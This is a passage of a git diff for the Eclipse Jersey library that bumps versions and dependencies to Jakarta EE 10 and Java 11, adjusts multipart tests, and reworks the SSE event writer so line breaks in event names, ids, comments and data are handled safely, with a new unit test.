result = response.readEntity(LIST_ENTITY_PART_TYPE); + assertEquals("Hello world!", result.get(0).getContent(String.class)); + } + } + + @Test + public void getListTest() throws IOException { + try (Response response = target("/getList").request().get()) { + List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE); + assertEquals("data1", result.get(0).getContent(String.class)); + } + } +}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java index 4a7ff89..73790c0 100644 --- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -36,7 +36,6 @@ import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.spi.ConnectorProvider; import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider; -import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; import org.glassfish.jersey.media.multipart.MultiPart; import org.glassfish.jersey.test.TestProperties; import org.glassfish.jersey.test.spi.TestHelper; @@ -64,7 +63,7 @@ return Arrays.asList(new Object[][] { {new HttpUrlConnectorProvider(), false}, {new GrizzlyConnectorProvider(), true}, - {new JettyConnectorProvider(), false}, +// {new JettyConnectorProvider(), true}, {new ApacheConnectorProvider(), true}, }); }
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java index c7487c9..d8e298d 100644 --- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/media/multipart/src/test/resources/multipart/test-file1.txt b/media/multipart/src/test/resources/multipart/test-file1.txt new file mode 100644 index 0000000..2ac045a --- /dev/null +++ b/media/multipart/src/test/resources/multipart/test-file1.txt
@@ -0,0 +1 @@ +This is a test file for file 1. \ No newline at end of file
diff --git a/media/multipart/src/test/resources/multipart/test-file2.txt b/media/multipart/src/test/resources/multipart/test-file2.txt new file mode 100644 index 0000000..ed72b76 --- /dev/null +++ b/media/multipart/src/test/resources/multipart/test-file2.txt
@@ -0,0 +1 @@ +This is a test file for file 2. \ No newline at end of file
diff --git a/media/pom.xml b/media/pom.xml index adef754..754420e 100644 --- a/media/pom.xml +++ b/media/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.media</groupId>
diff --git a/media/sse/pom.xml b/media/sse/pom.xml index f1627a8..bea92f4 100644 --- a/media/sse/pom.xml +++ b/media/sse/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-sse</artifactId>
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java index 4d63506..13306bd 100644 --- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java +++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,10 +16,10 @@ package org.glassfish.jersey.media.sse; -import java.nio.charset.Charset; - import org.glassfish.jersey.server.ChunkedOutput; +import java.nio.charset.StandardCharsets; + /** * Outbound Server-Sent Events channel. * @@ -31,7 +31,7 @@ */ public class EventOutput extends ChunkedOutput<OutboundEvent> { // encoding does not matter for lower ASCII characters - private static final byte[] SSE_EVENT_DELIMITER = "\n".getBytes(Charset.forName("UTF-8")); + private static final byte[] SSE_EVENT_DELIMITER = "\n".getBytes(StandardCharsets.UTF_8); /** * Create new outbound Server-Sent Events channel.
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java index d2e7b85..12620b2 100644 --- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java +++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,11 +16,15 @@ package org.glassfish.jersey.media.sse; +import static java.nio.charset.StandardCharsets.UTF_8; + import java.io.IOException; import java.io.OutputStream; import java.lang.annotation.Annotation; import java.lang.reflect.Type; import java.nio.charset.Charset; +import java.util.Objects; +import java.util.regex.Pattern; import jakarta.ws.rs.WebApplicationException; import jakarta.ws.rs.core.Context; @@ -43,15 +47,14 @@ */ class OutboundEventWriter implements MessageBodyWriter<OutboundSseEvent> { - private static final Charset UTF8 = Charset.forName("UTF-8"); - // encoding does not matter (lower ASCII characters) - private static final byte[] COMMENT_LEAD = ": ".getBytes(UTF8); - private static final byte[] NAME_LEAD = "event: ".getBytes(UTF8); - private static final byte[] ID_LEAD = "id: ".getBytes(UTF8); - private static final byte[] RETRY_LEAD = "retry: ".getBytes(UTF8); - private static final byte[] DATA_LEAD = "data: ".getBytes(UTF8); + private static final byte[] COMMENT_LEAD = ": ".getBytes(UTF_8); + private static final byte[] NAME_LEAD = "event: ".getBytes(UTF_8); + private static final byte[] ID_LEAD = "id: ".getBytes(UTF_8); + private static final byte[] RETRY_LEAD = "retry: ".getBytes(UTF_8); + private static final byte[] DATA_LEAD = "data: ".getBytes(UTF_8); private static final byte[] EOL = {'\n'}; + private static final Pattern EOL_PATTERN = Pattern.compile("\r\n|\r|\n"); private final Provider<MessageBodyWorkers> workersProvider; @@ -87,7 +90,7 @@ final Charset charset = MessageUtils.getCharset(mediaType); if (outboundEvent.getComment() != null) { - for (final String comment : outboundEvent.getComment().split("\n")) { + for (final String comment : EOL_PATTERN.split(outboundEvent.getComment())) { entityStream.write(COMMENT_LEAD); entityStream.write(comment.getBytes(charset)); entityStream.write(EOL); @@ -97,12 +100,12 @@ if (outboundEvent.getType() != null) { if (outboundEvent.getName() != null) { entityStream.write(NAME_LEAD); - entityStream.write(outboundEvent.getName().getBytes(charset)); + entityStream.write(outboundEvent.getName().replace("\r", "").replace("\n", "").getBytes(charset)); entityStream.write(EOL); } if (outboundEvent.getId() != null) { entityStream.write(ID_LEAD); - entityStream.write(outboundEvent.getId().getBytes(charset)); + entityStream.write(outboundEvent.getId().replace("\r", "").replace("\n", "").getBytes(charset)); entityStream.write(EOL); } if (outboundEvent.getReconnectDelay() > SseFeature.RECONNECT_NOT_SET) { @@ -115,6 +118,7 @@ outboundEvent.getMediaType() == null ? MediaType.TEXT_PLAIN_TYPE : outboundEvent.getMediaType(); final MessageBodyWriter messageBodyWriter = workersProvider.get().getMessageBodyWriter(outboundEvent.getType(), outboundEvent.getGenericType(), annotations, eventMediaType); + final var dataLeadStream = new DataLeadStream(entityStream); messageBodyWriter.writeTo( outboundEvent.getData(), outboundEvent.getType(), @@ -122,23 +126,74 @@ annotations, eventMediaType, httpHeaders, - new OutputStream() { - - private boolean start = true; - - @Override - public void write(final int i) throws IOException { - if (start) { - entityStream.write(DATA_LEAD); - start = false; - } - entityStream.write(i); - if (i == '\n') { - entityStream.write(DATA_LEAD); - } - } - }); + dataLeadStream); + dataLeadStream.finish(); entityStream.write(EOL); } } + + static final class DataLeadStream extends OutputStream { + private final OutputStream entityStream; + + private int lastChar = -1; + + DataLeadStream(final OutputStream entityStream) { + this.entityStream = entityStream; + } + + @Override + public void write(final int i) throws IOException { + if (lastChar == -1) { + entityStream.write(DATA_LEAD); + } else if (lastChar != '\n' && lastChar != '\r') { + entityStream.write(lastChar); + } else if (lastChar == '\n' || lastChar == '\r' && i != '\n') { + entityStream.write(EOL); + entityStream.write(DATA_LEAD); + } + + lastChar = i; + } + + private static int indexOfEol(final byte[] b, final int fromIndex, final int toIndex) { + for (var i = fromIndex; i < toIndex; i++) { + if (b[i] == '\n' || b[i] == '\r') { + return i; + } + } + return -1; + } + + @Override + public void write(final byte[] b, final int off, final int len) throws IOException { + Objects.checkFromIndexSize(off, len, b.length); + if (len == 0) { + return; + } + write(b[off]); + if (len > 1) { + final var end = off + len - 1; + var i = off; + for (var j = indexOfEol(b, i, end); j != -1; j = indexOfEol(b, i, end)) { + entityStream.write(b, i, j - i); + entityStream.write(EOL); + entityStream.write(DATA_LEAD); + if (b[j] == '\r' && b[j + 1] == '\n') { + j++; + } + i = ++j; + } + if (i < end) { + entityStream.write(b, i, end - i); + } + lastChar = b[end]; + } + } + + void finish() throws IOException { + if (lastChar != -1) { + write(-1); + } + } + } }
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java new file mode 100644 index 0000000..b27402c --- /dev/null +++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java
@@ -0,0 +1,109 @@ +/* + * Copyright (c) 2025 Markus KARG + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.sse; + +import java.io.ByteArrayOutputStream; +import static java.nio.charset.StandardCharsets.UTF_8; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Basic set of unit tests for {@link DataLeadStream}. + * + * @author Markus KARG (markus@headcrashing.eu) + */ +public class DataLeadStreamTest { + + @Test + public void shouldDetectEolOnWrite() throws Exception { + // given + final var outputStream = new ByteArrayOutputStream(); + final var dataLeadStream = new OutboundEventWriter.DataLeadStream(outputStream); + + // when + dataLeadStream.write('A'); + dataLeadStream.write('\r'); + dataLeadStream.write('B'); + dataLeadStream.write('\n'); + dataLeadStream.write('C'); + dataLeadStream.write('\r'); + dataLeadStream.write('\n'); + dataLeadStream.write('D'); + dataLeadStream.write('\r'); + dataLeadStream.write('\r'); + dataLeadStream.write('E'); + dataLeadStream.write('\n'); + dataLeadStream.write('\n'); + dataLeadStream.write('F'); + dataLeadStream.write('\r'); + dataLeadStream.write('\n'); + dataLeadStream.write('\r'); + dataLeadStream.write('\n'); + dataLeadStream.write('G'); + dataLeadStream.write("H".getBytes(UTF_8)); + dataLeadStream.write("IJ".getBytes(UTF_8)); + dataLeadStream.write("KLM".getBytes(UTF_8)); + dataLeadStream.write("N\rO\nP\r\nQ\n\nR\r\rS\r\n\r\nT".getBytes(UTF_8)); + dataLeadStream.write('\r'); + dataLeadStream.write("U".getBytes(UTF_8)); + dataLeadStream.write('\r'); + dataLeadStream.write("\nV".getBytes(UTF_8)); + dataLeadStream.write('\r'); + dataLeadStream.write("\rW".getBytes(UTF_8)); + dataLeadStream.write('\n'); + dataLeadStream.write("X".getBytes(UTF_8)); + dataLeadStream.write('\n'); + dataLeadStream.write("\nY".getBytes(UTF_8)); + dataLeadStream.write('\n'); + dataLeadStream.write("\rZ".getBytes(UTF_8)); + dataLeadStream.write("a\r".getBytes(UTF_8)); + dataLeadStream.write('b'); + dataLeadStream.write("c\n".getBytes(UTF_8)); + dataLeadStream.write('d'); + dataLeadStream.write("e\r".getBytes(UTF_8)); + dataLeadStream.write('\r'); + dataLeadStream.write("f\n".getBytes(UTF_8)); + dataLeadStream.write('\n'); + dataLeadStream.write("g\r".getBytes(UTF_8)); + dataLeadStream.write('\n'); + dataLeadStream.write("h\n".getBytes(UTF_8)); + dataLeadStream.write('\r'); + dataLeadStream.finish(); + + // then + assertEquals( + "data: A\ndata: B\ndata: C\ndata: D\ndata: \ndata: E\ndata: \ndata: F\ndata: \ndata: G" + + "H" + + "IJ" + + "KLM" + + "N\ndata: O\ndata: P\ndata: Q\ndata: \ndata: R\ndata: \ndata: S\ndata: \ndata: T" + + "\ndata: U" + + "\ndata: V" + + "\ndata: \ndata: W" + + "\ndata: X" + + "\ndata: \ndata: Y" + + "\ndata: \ndata: Z" + + "a\ndata: b" + + "c\ndata: d" + + "e\ndata: \ndata: " + + "f\ndata: \ndata: " + + "g\ndata: " + + "h\ndata: \ndata: ", + outputStream.toString(UTF_8)); + } +}
diff --git a/pom.xml b/pom.xml index f1fa3ef..8413b89 100644 --- a/pom.xml +++ b/pom.xml
@@ -29,7 +29,7 @@ <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> <packaging>pom</packaging> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <name>jersey</name> <description> Eclipse Jersey is the open source (under dual EPL+GPL license) Jakarta RESTful WebServices 3.0 @@ -325,9 +325,6 @@ </compilerArguments> <showWarnings>false</showWarnings> <fork>false</fork> - <excludes> - <exclude>module-info.java</exclude> - </excludes> </configuration> </plugin> <plugin> @@ -728,13 +725,8 @@ </plugin> <!-- TODO: remove the old jetty plugin dependencies --> <plugin> - <groupId>org.mortbay.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> - <version>8.1.8.v20121106</version> - </plugin> - <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <version>${jetty.plugin.version}</version> </plugin> <plugin> @@ -898,82 +890,6 @@ <profiles> <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <checkstyle.version>9.3</checkstyle.version> - <istack.mvn.plugin.version>3.0.9</istack.mvn.plugin.version> - <hk2.version>3.0.3</hk2.version> - </properties> - <build> - <pluginManagement> - <plugins> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <inherited>true</inherited> - <configuration> - <source>${java.version}</source> - <target>${java.version}</target> - <excludes> - <exclude>module-info.java</exclude> - </excludes> - </configuration> - </plugin> - </plugins> - </pluginManagement> - </build> - </profile> - <profile> - <id>jdk11+</id> - <!-- - JDK 9 & 10 is unsupported (as well as <release>9</release>) - module-info for java.xml.bind is taken from JDK (lib/ct.sym/9-modules) - and it depends on java.activation which clashes with javax.activation - --> - <activation> - <jdk>[11,)</jdk> - </activation> - <build> - <pluginManagement> - <plugins> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <inherited>true</inherited> - <executions> - <!-- when module.info - <execution> - <id>default-compile</id> - <configuration> - compile everything to ensure module-info contains right entries - <release>11</release> - </configuration> - </execution> - --> - <execution> - <id>base-compile</id> - <goals> - <goal>compile</goal> - </goals> - <!-- recompile everything for target VM except the module-info.java --> - <configuration> - <excludes> - <exclude>module-info.java</exclude> - </excludes> - <source>1.8</source> - <target>1.8</target> - </configuration> - </execution> - </executions> - </plugin> - </plugins> - </pluginManagement> - </build> - </profile> - <profile> <!-- Use it with release-perform goal to skip another test run. --> <id>testsSkip</id> <activation> @@ -1585,10 +1501,15 @@ <artifactId>jakarta.activation-api</artifactId> <version>${jakarta.activation-api.version}</version> </dependency> + <dependency> + <groupId>jakarta.servlet</groupId> + <artifactId>jakarta.servlet-api</artifactId> + <version>${servlet6.version}</version> + </dependency> <dependency> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> <version>${jakarta.activation.version}</version> </dependency> @@ -1711,12 +1632,12 @@ </dependency> <dependency> <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-client</artifactId> + <artifactId>jetty-http2-client</artifactId> <version>${jetty.version}</version> </dependency> <dependency> <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-http-client-transport</artifactId> + <artifactId>jetty-http2-client-transport</artifactId> <version>${jetty.version}</version> </dependency> <dependency> @@ -1726,12 +1647,12 @@ </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-webapp</artifactId> + <artifactId>jetty-security</artifactId> <version>${jetty.version}</version> </dependency> <dependency> <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-server</artifactId> + <artifactId>jetty-http2-server</artifactId> <version>${jetty.version}</version> </dependency> <dependency> @@ -1739,6 +1660,11 @@ <artifactId>jetty-alpn-conscrypt-server</artifactId> <version>${jetty.version}</version> </dependency> + <dependency> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-webapp</artifactId> + <version>${jetty.version}</version> + </dependency> <dependency> <groupId>org.simpleframework</groupId> @@ -1899,8 +1825,8 @@ <version>${jakarta.el.version}</version> </dependency> <dependency> - <groupId>org.glassfish</groupId> - <artifactId>jakarta.el</artifactId> + <groupId>org.glassfish.expressly</groupId> + <artifactId>expressly</artifactId> <version>${jakarta.el.impl.version}</version> </dependency> @@ -2032,6 +1958,19 @@ <version>${testng.version}</version> <scope>test</scope> </dependency> + <dependency> + <groupId>org.assertj</groupId> + <artifactId>assertj-core</artifactId> + <version>3.21.0</version> + <scope>test</scope> + </dependency> + + <dependency> + <groupId>org.awaitility</groupId> + <artifactId>awaitility</artifactId> + <version>4.1.1</version> + <scope>test</scope> + </dependency> <dependency> <groupId>org.hamcrest</groupId> @@ -2135,9 +2074,9 @@ <findbugs.glassfish.logging.validLoggerPrefixes> jakarta.enterprise </findbugs.glassfish.logging.validLoggerPrefixes> - <java.version>1.8</java.version> - <!-- <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>--> - <!-- <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>--> + <java.version>11</java.version> +<!-- <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>--> +<!-- <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>--> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <!-- <release.tests.args>-Dmaven.test.skip=false</release.tests.args>--> @@ -2216,7 +2155,6 @@ <freemarker.version>2.3.33</freemarker.version> <gae.version>2.0.36</gae.version> <groovy.version>5.0.0-alpha-12</groovy.version> - <groovy.jdk8.version>4.0.27</groovy.jdk8.version> <gson.version>2.13.1</gson.version> <!--versions, extracted here due to maven-enforcer-plugin --> @@ -2231,7 +2169,8 @@ <!-- microprofile --> <microprofile.config.version>3.0.3</microprofile.config.version> - <microprofile.rest.client.version>3.0.1</microprofile.rest.client.version> + <microprofile.rest.client3.version>3.0.1</microprofile.rest.client3.version> + <microprofile.rest.client.version>4.0</microprofile.rest.client.version> <helidon.config.version>3.2.12</helidon.config.version> <helidon.connector.version>3.2.12</helidon.connector.version> <helidon.config.11.version>1.4.15</helidon.config.11.version> <!-- JDK 11- support --> @@ -2240,25 +2179,19 @@ <guava.version>33.4.8-jre</guava.version> <hamcrest.version>3.0</hamcrest.version> <xmlunit.version>2.10.0</xmlunit.version> - <hk2.osgi.version>org.glassfish.hk2.*;version="[2.5,4)"</hk2.osgi.version> - <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[2.5,4)"</hk2.jvnet.osgi.version> <httpclient.version>4.5.14</httpclient.version> <httpclient5.version>5.3.1</httpclient5.version> <jackson.version>2.18.0</jackson.version> <javassist.version>3.30.2-GA</javassist.version> - <jboss.logging.8.version>3.4.3.Final</jboss.logging.8.version> - <jersey1.version>1.19.3</jersey1.version> - <jersey1.last.final.version>${jersey1.version}</jersey1.last.final.version> <jettison.version>1.3.7</jettison.version> <!-- TODO: 1.3.8 doesn't work; AbstractJsonTest complexBeanWithAttributes --> <jboss.vfs.version>3.3.2.Final</jboss.vfs.version> - <jboss.vfs.jdk8.version>3.2.17.Final</jboss.vfs.jdk8.version> <jboss.logging.version>3.6.1.Final</jboss.logging.version> <jmh.version>1.37</jmh.version> <jmockit.version>1.49</jmockit.version> <junit4.version>4.13.2</junit4.version> <junit5.version>5.12.2</junit5.version> - <junit5.jdk8.version>5.10.3</junit5.jdk8.version> <junit-platform-suite.version>1.12.2</junit-platform-suite.version> + <junit-platform-suite.legacy.version>1.10.0</junit-platform-suite.legacy.version> <kryo.version>4.0.3</kryo.version> <mockito.version>4.11.0</mockito.version> <!-- CQ 17673 --> <mustache.version>0.9.14</mustache.version> @@ -2273,6 +2206,10 @@ <reactive.streams.version>1.0.4</reactive.streams.version> <rxjava.version>1.3.8</rxjava.version> <rxjava2.version>2.2.21</rxjava2.version> + + <servlet4.version>4.0.3</servlet4.version> + <servlet6.version>6.0.0</servlet6.version> + <simple.version>6.0.1</simple.version> <slf4j.version>2.0.17</slf4j.version> <spring6.version>6.0.23</spring6.version> @@ -2280,56 +2217,59 @@ <testng6.version>6.14.3</testng6.version> <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version> <!-- Jakartified, eligible for CQ --> - <weld.version>4.0.3.Final</weld.version> - <validation.impl.version>7.0.5.Final</validation.impl.version> + <weld.version>5.1.1.Final</weld.version> + <weld3.version>3.1.9.Final</weld3.version> + <validation.impl.version>8.0.1.Final</validation.impl.version> <!-- END of Jakartified, eligible for CQ --> - <wiremock.version>3.5.4</wiremock.version> + <wiremock.jetty9.version>2.27.2</wiremock.jetty9.version> + <wiremock.jetty11.version>3.10.0</wiremock.jetty11.version> <xerces.version>2.12.2</xerces.version> <!-- Graal VM --> <graalvm.version>20.3.15</graalvm.version> <!-- do not need CQs (below this line till the end of version properties)--> - <gf.impl.version>6.2.5</gf.impl.version> - <hk2.config.version>6.2.5</hk2.config.version> + <gf.impl.version>7.0.6</gf.impl.version> <!-- Jakartified --> - <cdi.api.version>3.0.0</cdi.api.version> <!-- 3.0.1 contains incompatible changes - which fails microprofile TCK --> + <cdi.api.version>4.0.1</cdi.api.version> <cdi.osgi.version>jakarta.enterprise.*;version="[3.0,5)"</cdi.osgi.version> <ejb.version>4.0.1</ejb.version> - <grizzly2.version>3.0.1</grizzly2.version> + <grizzly2.version>4.0.2</grizzly2.version> <grizzly.client.version>1.16</grizzly.client.version> <grizzly.npn.version>2.0.0</grizzly.npn.version> - <hk2.version>3.0.6</hk2.version> <!-- 3.0.4 fails osgi tests, 3.0.5 is for JDK 11+ --> - <jsp.version>3.0.0</jsp.version> - <jstl.version>2.0.0</jstl.version> + <hk2.version>3.0.6</hk2.version> + <hk2.osgi.version>org.glassfish.hk2.*;version="[3.0,4)"</hk2.osgi.version> + <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[3.0,4)"</hk2.jvnet.osgi.version> + <hk2.config.version>7.0.4</hk2.config.version> + <jsp.version>3.1.1</jsp.version> + <jstl.version>3.0.2</jstl.version> <jta.api.version>2.0.1</jta.api.version> - <servlet5.version>5.0.0</servlet5.version> - <istack.commons.runtime.version>4.0.1</istack.commons.runtime.version> - <jakarta.activation-api.version>2.0.1</jakarta.activation-api.version> - <jakarta.activation.version>2.0.1</jakarta.activation.version> - <jakarta.el.version>4.0.0</jakarta.el.version> - <jakarta.el.impl.version>4.0.2</jakarta.el.impl.version> + <istack.commons.runtime.version>4.1.2</istack.commons.runtime.version> + <jakarta.activation-api.version>2.1.3</jakarta.activation-api.version> + <jakarta.activation.version>2.0.2</jakarta.activation.version> + <jakarta.el.version>5.0.1</jakarta.el.version> + <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version> <jakarta.annotation.osgi.version>jakarta.annotation.*;version="[2.0,3)"</jakarta.annotation.osgi.version> <jakarta.annotation.version>2.1.1</jakarta.annotation.version> <jakarta.inject.version>2.0.1</jakarta.inject.version> - <jakarta.interceptor.version>2.0.1</jakarta.interceptor.version> - <jakarta.jsonp.version>2.0.2</jakarta.jsonp.version> - <jakarta.persistence.version>3.0.0</jakarta.persistence.version> - <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version> <!--Can't be updated to 3.0.1 /OSGi incompatibility with JDK 1.8 --> - <jakarta.jaxb.api.version>3.0.1</jakarta.jaxb.api.version> - <jaxb.ri.version>3.0.2</jaxb.ri.version> - <jaxrs.api.spec.version>3.0</jaxrs.api.spec.version> - <jaxrs.api.impl.version>3.0.0</jaxrs.api.impl.version> + <jakarta.interceptor.version>2.1.0</jakarta.interceptor.version> + <jakarta.jsonp.version>2.1.3</jakarta.jsonp.version> + <jakarta.persistence.version>3.1.0</jakarta.persistence.version> + <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version> + <jakarta.jaxb.api.version>4.0.2</jakarta.jaxb.api.version> + <jaxb.ri.version>4.0.5</jaxb.ri.version> + <jaxrs.api.spec.version>3.1</jaxrs.api.spec.version> + <jaxrs.api.impl.version>3.1.0</jaxrs.api.impl.version> <jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version> - <jetty.version>11.0.25</jetty.version> + <jetty.version>12.0.22</jetty.version> <jetty9.version>9.4.57.v20241219</jetty9.version> - <jetty.plugin.version>11.0.25</jetty.plugin.version> - <jsonb.api.version>2.0.0</jsonb.api.version> - <jsonp.ri.version>1.0.5</jsonp.ri.version> - <jsonp.jaxrs.version>1.0.5</jsonp.jaxrs.version> - <moxy.version>3.0.4</moxy.version> - <yasson.version>2.0.4</yasson.version> + <jetty11.version>11.0.25</jetty11.version> + <jetty.plugin.version>12.0.22</jetty.plugin.version> + <jsonb.api.version>3.0.1</jsonb.api.version> + <jsonp.ri.version>1.1.7</jsonp.ri.version> + <jsonp.jaxrs.version>1.1.7</jsonp.jaxrs.version> + <moxy.version>4.0.6</moxy.version> + <yasson.version>3.0.4</yasson.version> <!-- END of Jakartified --> <javax.annotation.version>1.3.2</javax.annotation.version> <!--Deprecated, used only for @generated annotation in perf tests -->
diff --git a/security/oauth1-client/pom.xml b/security/oauth1-client/pom.xml index 750ec8d..e891b23 100644 --- a/security/oauth1-client/pom.xml +++ b/security/oauth1-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.security</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>oauth1-client</artifactId>
diff --git a/security/oauth1-server/pom.xml b/security/oauth1-server/pom.xml index d59a01e..01fed91 100644 --- a/security/oauth1-server/pom.xml +++ b/security/oauth1-server/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.security</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>oauth1-server</artifactId>
diff --git a/security/oauth1-signature/pom.xml b/security/oauth1-signature/pom.xml index 562f7a2..9bbe6c0 100644 --- a/security/oauth1-signature/pom.xml +++ b/security/oauth1-signature/pom.xml
